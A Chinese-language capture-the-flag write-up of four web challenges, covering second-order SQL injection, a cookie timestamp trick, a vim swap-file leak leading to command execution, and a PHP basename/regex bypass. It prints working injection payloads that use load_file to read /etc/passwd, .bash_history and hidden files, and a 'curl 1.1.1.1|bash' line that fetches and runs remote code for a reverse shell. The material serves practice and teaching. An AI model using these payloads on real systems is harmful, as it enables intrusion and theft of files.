[网鼎杯 2018]Comment

image-20210126103618701

暴力破解

image-20210126110242117

一般后面都是数字!

但是我都爆破了!

429

还是只爆破数字把🙄

image-20210126110649209

666

.git泄露

image-20210126111536142

python2 git_extract.py http://6d4ef7d1-a3dc-4e56-a6a4-b0995f700308.node3.buuoj.cn/index.php/.git/

有个师傅讲git

https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html

二次注入

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

还是之前那句话!无论前端输入的是啥!

都把他当成字符串!最后只在数据库里起作用!

image-20210126120153822

看上面的单引号!会被转义(addslashes() 函数的作用)!最后放到数据库里就还原了!

反正前端输入啥到数据库就是啥!有时候一些特殊字符要url编码!# –》%23

到了数据库按照数据库的语言来执行了!比如注释 转义什么的!#就变成了sql注释

看这个题:

里面有board comment两个表!

board 表里传入数据! 如果我们传入sql语句!构造一下:

',content=user(),/* 

(刚刚上面说了!就把它当成字符串传入!具体前端咋传的咱不管!)

这个数据传入board 表里是正常的!但是在插入comment表里时!会被当成sql语句执行!

这就二次注入!

comment表里content字段我们可控!所以:

我们可以构造:

image-20210126125144698

哦哦:!还有:

addslashes() 函数

这里他有个addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

有了也没关系

sql语句会转义

插入board就是正常的数据!

insert into board set category = '\',content=user(),/*', title = 'dada', content = 'adada'

最终在数据里转义存在board表里的还是’,content=user(),/*

5

image-20210126125620269

等会我发现不转义!

数据库还插不进去!会报错!所以这里必须有个转义才能才能插入board表!

image-20210126131139340

payload:

',content=user(),/*
*/#;

执行成功😁

image-20210126121842457

',content=(select load_file('/etc/passwd')),/*

/etc/passwd 文件格式:

passwd 格式

/etc/passwd 中
一行记录对应着一个用户。
每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:

用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

image-20210126125457273

.bash_history文件

我们linux里每个用户的根目录都有一个.bash_history文件,

用途: 保存了当前用户使用过的历史命令,方便查找

image-20210126122609152

',content=(select load_file('//home/www/.bash_history')),/*

image-20210126130320358

.DS_Store 泄露

.DS_Store (英文全称Desktop Services Store) 是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的圖標位置或者是背景色的选择。 该文件由Finder创建并维护,类似于Microsoft Windows中的desktop.ini文件。

.DS_Store就是里面记录的目录的信息!

发现/tmp/下html目录没有删除!

看看里面的.DS_Store

',content=(select load_file('/tmp/html/.DS_Store')),/*
啥也看不懂
',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*

',content=(select ascii(load_file('//tmp/html/.DS_Store'))),/*

ASCII 在线转换:

http://www.ab126.com/goju/1711.html

f.l.a.g._.8.9.4.6.e.1.f.f.1.e.e.3.e.4.0.f...p.h.p

flag_8946e1ff1ee3e40f.php

',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*

sql语句注释问题

最后因为自己tcl!发现个问题:

为啥要

',content=user(),/* 里user()后面要加逗号!

这里又要讲下:

sql语句的单行注释和多行注释!!!
出题人太细了!!!😶

image-20210126141618094

有,号发现单号注释最后的pass还是写入了! 但是如果没有,号  语句就运行不了!
题目还有个bo_id = '$bo_id'";
所以必须要有逗号!!!😶😶😶

[BJDCTF 2nd]Schrödinger

image-20210126154848419

啥东西!爆破!!!

太脑洞!

127.0.0.1/test.php

访问test.php也没啥用!

发现cookie里dXNlcg=MTYxMTY0NzY5Ng%3D%3D
是时间戳
把他的值调0就可以了!

[BJDCTF 2nd]duangShell

信息泄露

image-20210126161302441

swp泄露

[CTF之信息泄漏]:

https://www.cnblogs.com/Hydraxx/p/10762512.html

index.php.swp

.index.php.swp

像.swp文件,就是vim源文件泄漏,/.index.php.swp或/index.php~ 可以直接用vim -r inde.php来读取文件

    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}


正则表达式

【PHP】之4个反斜杠、3个反斜杠的情况:

https://blog.csdn.net/weixin_41463193/article/details/83539168

命令执行

反弹shell

可以发现有个命令执行!

直接反弹shell

curl 1.1.1.1|bash

whoami
id
sudo -l

还好这个题没让提权!
提权我还真不会!

find / -name "*flag*"
cat /etc/demo/P3rh4ps/love/you/flag

[Zer0pts2020]Can you guess it?

image-20210126164739932

PHP中$_SERVER的详细参数与说明介绍

https://blog.csdn.net/u012222248/article/details/79816801

int是4个字节

1个字节是8位

bit、byte、位、字节、汉字的关系

看了学到好多!

跑远了!基础太差!🙄

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

image-20210126180940457

可以发现$_SERVER[‘PHP_SELF’] #当前正在执行脚本的文件名,与 document root相关。

$_SERVER[‘PHP_SELF’] 把所有脚本名都返回回来了!

basename — 返回路径中的文件名部分

在加上basename 就会返回最后一个!

那我们只要构造config.php!就可以得到flag!

正则表达式污染

大佬的正则表达式污染脚本:

<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}

for($i=0;$i<255;$i++){
$str="/index.php/config.php/".chr($i);
if(!check($str)){
echo $i.":".basename($str);
echo "<br>";
}
}

index.php/config.php/%ff?source

image-20210126182241377

但是在测试的时候还是能匹配到!不知道为啥!!!😶

image-20210126182304968

image-20210126183306763

还有一点!污染后

在basename函数里没有影响!

https://bugs.php.net/bug.php?id=62119 找到了basename()函数的一个问题,

它会去掉文件名开头的非ASCII值:

其实ascil码只有127个,总共其实可以有256个!127个就够了!

所以后面的都是各国自己设置的!看下面文章把:

basename函数所以应该是 它会去掉文件名开头的大于ASCII值为127:

字符编码笔记:ASCII,Unicode 和 UTF-8

http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html

如下:是大于ascii码127的!

image-20210126183627342

下图是ascii码小于127范围内

image-20210126184005392

总结:

通过正则表达式污染绕过正则!
再根据basename函数的性质!会去掉文件名开头的ASCII值大于127的值!来读取config.php